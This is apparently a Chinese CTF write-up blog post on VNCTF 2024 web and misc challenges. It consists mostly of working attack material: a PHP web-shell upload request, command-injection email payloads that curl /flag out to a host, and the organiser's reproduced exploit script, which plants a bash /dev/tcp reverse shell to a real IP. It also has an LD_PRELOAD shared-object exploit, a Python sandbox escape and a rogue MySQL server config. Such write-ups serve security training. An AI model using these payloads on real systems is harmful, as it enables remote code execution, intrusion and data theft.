VNCTF 2024
本文最后更新于 148 天前,其中的信息可能已经有所发展或是发生改变。

能打,只能打一会儿,太喜欢摸鱼了Orz

Web

Checkin

var _0x3d9d=["\x56\x4e\x43\x54\x46\x7b\x57\x33\x31\x63\x30\x6d\x33\x5f\x74\x30\x5f\x56\x4e\x43\x54\x46\x5f\x32\x30\x32\x34\x5f\x67\x40\x6f\x64\x5f\x4a\x30\x42\x21\x21\x21\x21\x7d"];
console.log(_0x3d9d[0]);

TrySent

POST /user/upload/upload HTTP/1.1
Host: 0e523d82-2680-414c-a150-7bded818c339.vnctf2024.manqiu.top
Cookie: PHPSESSID=7901b5229557c94bad46e16af23a3728
Content-Length: 767
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhx2kYAMYDqoTThz
Accept: */*
Referer: https://0e523d82-2680-414c-a150-7bded818c339.vnctf2024.manqiu.top/user/upload/index?name=icon&type=image&limit=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja-CN;q=0.8,ja;q=0.7,en;q=0.6
Connection: close

------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="name"

test.jpg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="type"

image/jpeg
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="lastModifiedDate"

Wed Jul 21 2021 18:15:25 GMT+0800 (中国标准时间)
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="size"

164264
------WebKitFormBoundaryrhx2kYAMYDqoTThz
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg

JFIF
<?php eval($_GET['cmd']);?>

------WebKitFormBoundaryrhx2kYAMYDqoTThz--

CutePath

很怪一网站,这功能理解不了

  • 先看issues
  • 目录穿越到/home/ming,有个base64的文件名(这真的会有人这么放文件么),拿到登录密码
YWRtaW46Z2RnbS5lZHUuY25ATTFuOUsxbjlQQGFz
admin:gdgm.edu.cn@M1n9K1n9P@as
  • 登陆后找到flag位置,修改其文件名为/home/ming/share_main/flag.txt,文件即可被移动至共享目录,下载即可

codefever_again

  • 看看issues
  • 一个因邮箱产生的命令注入,不能有空格,注册时抓包改邮箱为
`curl${IFS}ip:port/$(cat${IFS}/flag)`@qq.com
  • 创建一个仓库,然后创建合并请求即可触发或者点击任意仓库即可触发
    • /api/repository/mergeRequests
    • /api/repository/config
  • 或者先正常创建一个合法邮箱用户,然后在个人信息处修改邮箱,不需要绕过空格
POST /api/user/updateBasicInfo? HTTP/1.1
Host: 10.0.0.236:12345
Content-Length: 464
Cache-Control: max-age=0
Accept: application/json
codefever-end-env: codefever-app
codefever-end-lang: zh-cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2gOjHNQlcgBHXyBW
Origin: http://10.0.0.236:12345
Referer: http://10.0.0.236:12345/settings/client
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: codefever_community=XXX
Connection: close

------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="name"

user_5aa1ce
------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="email"

`curl ip:port/$(cat /flag)`@qq.com
------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="team"


------WebKitFormBoundary2gOjHNQlcgBHXyBW
Content-Disposition: form-data; name="role"


------WebKitFormBoundary2gOjHNQlcgBHXyBW--
  • 此时点击任意一个仓库即可触发
  • 贴个出题人的exp(但凡早起一点儿这exp就到手了,哭
import cmd
import json
import random
import string

import requests
from colorama import *

s = requests.session()


def generate_random_string(length=6):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))

    return random_string


random_name = generate_random_string()
random_name_repo = generate_random_string()


def register(cmd, url):
    # bash${IFS}-c${IFS}'bash${IFS}-i>&/dev/tcp/8.130.24.188/7771<&1'
    register_url = f"{url}/user/register"
    data = {
        "email": f"{random_name};{cmd}@qq.com",
        "password": "123456",
        "rePassword": "123456"
    }
    res = s.post(url=register_url, data=data)
    print(res.text)


def login(cmd, url):
    login_url = f"{url}/user/login"
    data = {
        "email": f"{random_name};{cmd}@qq.com",
        "password": "123456"
    }
    res = s.post(url=login_url, data=data)
    print(res.text)


def create_rep_group(url):
    create_url = f"{url}/api/group/create?"
    data = {
        "name": random_name_repo,
        "type": "2",
        "displayName": random_name_repo,
        "description": random_name_repo,
    }
    res = s.post(
        url=create_url,
        data=data,
        headers={
            "Accept": "application/json"})
    print(res.content)


def get_group_token(url):
    token_url = f"{url}/api/group/list"
    res = s.get(url=token_url, headers={"Accept": "application/json"}).text
    print(res)
    data = json.loads(res)
    rows = data['data']
    for row in rows:
        if row['name'] == random_name_repo:
            return row['id']


def create_repo(url):
    create_url = f"{url}/api/repository/create?"
    data = {
        "group": get_group_token(url),
        "name": random_name_repo,
        "displayName": random_name_repo,
        "description": random_name_repo
    }
    res = s.post(
        url=create_url,
        data=data,
        headers={
            "Accept": "application/json"})
    print(res.text)


def get_repo_token(url):
    token_url = f"{url}/api/repository/list"
    res = s.get(url=token_url, headers={"Accept": "application/json"}).text
    data = json.loads(res)
    rows = data['data']
    for row in rows:
        if row['name'] == random_name_repo:
            return row['id']


def triggle(url):
    triggle_url = f"{url}/api/repository/branchList"
    params = {"repository": get_repo_token(url)}
    res = s.get(
        url=triggle_url,
        params=params,
        headers={
            "Accept": "application/json"}).text
    print(res)


class TaskManagerCLI(cmd.Cmd):
    def __init__(self):
        super(TaskManagerCLI, self).__init__()

    def do_revshell(self, arg):
        """
        [reverse_shell] target_host rev_host rev_port
        revshell http://example.com  xxx.xxx.xxx.xxx 8888
        target_host does not need '/' in the end
        """
        if arg:
            args = arg.split(" ", 2)
            print(args)
            if len(args) != 3:
                raise ValueError("Usage:revshell url host port")
            url = args[0]
            host = args[1]
            port = args[2]
            cmd = f"bash${{IFS}}-c${{IFS}}'bash${{IFS}}-i>&/dev/tcp/{host}/{port}<&1'"
            print(cmd)
            register(cmd, url)
            login(cmd, url)
            create_rep_group(url)
            create_repo(url)
            triggle(url)
        else:
            print("[reverse_shell] host port")

    def do_quit(self, arg):
        """Quit the CLI: quit"""
        print("GoodBye Hacker!")
        return True


cli = TaskManagerCLI()
cli.prompt = f"{Fore.BLUE}PopConsole> {Style.RESET_ALL}"
cli.cmdloop(
    f"{Fore.GREEN}Welcome to Task Manager CLI. Type 'help' for available commands.{Style.RESET_ALL}")

givenphp

  • index.php
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}
  • exp.c
#include <stdio.h>
#include <stdlib.h>

int puts(const char *message) {
  system("cat /f* > /var/www/html/flag.txt");
  return 0;
}
// gcc exp.c -o exp.so -fPIC -shared -ldl -D_GNU_SOURCE
  • exp.py
import requests

url = "http://d3e0ff65-d396-44d9-9438-707d48c5d703.vnctf2024.manqiu.top/index.php"

data = {
    "upload": 1
}
file = {
    "file": open('exp.so', 'rb')
}
r = requests.post(url, data=data, files=file)
path = r.text[-45:]
for i in range(100):
    param = {
        "challenge": 1,
        "key": "LD_PRELOAD",
        "value": path,
        "guess": '\x00lambda_20'
    }
    r = requests.get(url, params=param)
    print(r.text)

Misc

pyjail

  • server.py
black_list = [
    'import',
    'getattr',
    'setattr',
    'delattr',
    'eval',
    'exec',
    'global',
    'local',
    'builtin',
    'input',
    'compile',
    'help',
    'breakpoint',
    'license',
    'byte',
    '.',
    '[',
    '+',
    '#',
    '\'',
    '"',
    '{']


def check_ascii(code):
    assert code.isascii()


def check_black_list(code):
    for item in black_list:
        assert item not in code, f'bad: {item}'


if __name__ == '__main__':
    code = """

"""

    check_ascii(code)
    check_black_list(code)
    try:
        exec(code)
    except BaseException as e:
        print('Exception!', e)
  • 参考2024 强网杯空白✌的题,最终调用了breakpoint
match vars():
    case object(items=i):
        pass
match list(i()):
    case object(pop=p):
        match list(p(6)):
            case object(pop=p):
                match p():
                    case object(__dict__=d):
                        match d:
                            case object(values=v):
                                match list(v()):
                                    case object(pop=p):
                                        p(12)()
  • 空白✌的exp
x = vars()
x |= vars(tuple)
l = *(y for y in list(vars()) if chr(98) in y),
b = __getitem__(l, 0)
x |= vars(dict)
bu = __getitem__(vars(), b)
l = *(y for y in list(vars(bu)) if chr(98) in y and chr(97) in y and chr(112) in y and chr(75) not in y),
x |= vars(tuple)
brs = __getitem__(l, 0)
x |= vars(dict)
br = __getitem__(vars(bu), brs)
br()
  • 这段exp,主要通过修改vars()以及|的拼接效果(去重)为环境变量添加新的方法,分别看看这两个点的效果
  • 修改vars()改变环境
  • 则可以通过将部分object得属性添加至全局,直接进行调用以此绕过.的过滤
x = vars()

# tuple 的 method 合并至vars()
x |= vars(tuple)

# 注意有个 ,
l = *(y for y in list(vars()) if chr(98) in y),
# l = ("__builtins__", "__getattribute__")

# 通过索引获取 "__builtins__"
b = __getitem__(l, 0)
# 调用 tuple.__getitem__ 取到字符串 "__builtins__"

# dict 的 method 合并至 vars(),其中 tuple 与 dict 都含有名为 __getitem__ 的方法,此时原本 tuple.__getitem__ 被覆盖为 dict.__getitem__
x |= vars(dict)

# 参数类型发生变化,通过 "__builtins__" 获取 __builtins__
bu = __getitem__(vars(), b)

# 注意有个 ,
l = *(y for y in list(vars(bu)) if chr(98) in y and chr(97) in y and chr(112) in y and chr(75) not in y),
# l = ("breakpoint")

# dict.__getitem__ 覆盖为 tuple.__getitem__
x |= vars(tuple)

# 获取 "breakpoint"
brs = __getitem__(l, 0)

# tuple.__getitem__ 覆盖为 dict.__getitem__
x |= vars(dict)

# 获取 breakpoint
br = __getitem__(vars(bu), brs)
br()
  • 小小的改动一下
x = vars() 
x |= vars(dict)
for b in (y for y in list(vars()) if chr(98) in y and chr(97) not in y):
    b = __getitem__(vars(), b)
    for c in (y for y in list(vars(b)) if chr(98) in y and chr(112) in y and chr(73) not in y):
        __getitem__(vars(b), c)()

OnlyLocalSql

原来是非预期

  • 先看看有些啥
ctf@out:~$ ./fscan -h 127.0.0.1

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
127.0.0.1:22 open
127.0.0.1:80 open
127.0.0.1:9000 open
[*] alive ports len is: 3
start vulscan
[+] FCGI 127.0.0.1:9000
Status: 403 Forbidden
X-Powered-By: PHP/7.3.33
Content-type: text/html; charset=UTF-8

Access denied.
stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions)
plesa try other path,as -path /www/wwwroot/index.php
[*] WebTitle http://127.0.0.1          code:200 len:1309   title:数据库连接
[+] PocScan http://127.0.0.1 poc-yaml-php-cgi-cve-2012-1823
ctf@out:/var/www$ ls -l
total 4
drwxrwxrwx 1 www-data www-data 4096 Feb  6 13:11 html

ctf@out:/$ ls -l
total 76
drwxr-xr-x    1 root     root     4096 Feb 12 11:43 bin
drwxr-xr-x    2 root     root     4096 Dec 11  2021 boot
drwxr-xr-x    5 root     root      360 Feb 17 06:45 dev
drwxr-xr-x    1 root     root     4096 Feb 17 06:45 etc
-rwxrwx---    1 www-data www-data   44 Feb 17 06:45 flag
drwxr-xr-x    1 root     root     4096 Feb 12 11:44 home
drwxr-xr-x    1 root     root     4096 Feb 12 11:43 lib
drwxr-xr-x    2 root     root     4096 Mar 16  2022 lib64
drwxr-xr-x    2 root     root     4096 Mar 16  2022 media
drwxr-xr-x    2 root     root     4096 Mar 16  2022 mnt
drwxr-xr-x    2 root     root     4096 Mar 16  2022 opt
dr-xr-xr-x 1592 root     root        0 Feb 17 06:45 proc
drwx------    1 root     root     4096 Mar 18  2022 root
drwxr-xr-x    1 root     root     4096 Feb 17 06:45 run
drwxr-xr-x    1 root     root     4096 Feb 12 11:43 sbin
drwxr-xr-x    2 root     root     4096 Mar 16  2022 srv
dr-xr-xr-x   13 root     root        0 Feb 17 06:45 sys
drwxrwxrwt    1 root     root     4096 Feb 12 11:44 tmp
drwxr-xr-x    1 root     root     4096 Mar 16  2022 usr
drwxr-xr-x    1 root     root     4096 Mar 17  2022 var
  • 在/var/www/html目录下有MySQL的密码,但是没用,服务都没起
  • /flag所属为www-data,上传一个test.php文件至/var/www/html
<?php 
system("cat /flag");
  • 访问test.php即可
ctf@out:/var/www/html$ curl http://127.0.0.1/test.php
vnctf{flag}

预期解

  • 通过ssh进行端口转发,使用恶意客户端读取/flag
  • rogue_mysql_server config.yaml
host: 0.0.0.0
port: 33060
version_string: "10.4.13-MariaDB-log"

file_list: ["/flag"]
save_path: ./loot
always_read: true
from_database_name: false
max_file_size: 0

auth: false
users:
  - root: root
  - root: password

jdbc_exploit: false
always_exploit: false
ysoserial_command:
  cc4: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections4", 'touch /tmp/cc4']
  cc7: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'touch /tmp/cc7']
  • ssh端口转发
// 将服务器80转发至本地8080,将本地33060转发至服务器33060
ssh ctf@manqiu.top -p 21594 -L *:8080:127.0.0.1:80 -R 33060:127.0.0.1:33060
  • 执行任意sql命令即可读取flag
  • 再者不转发直接把rogue_mysql_server传上去也行,只是没有web端方便
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇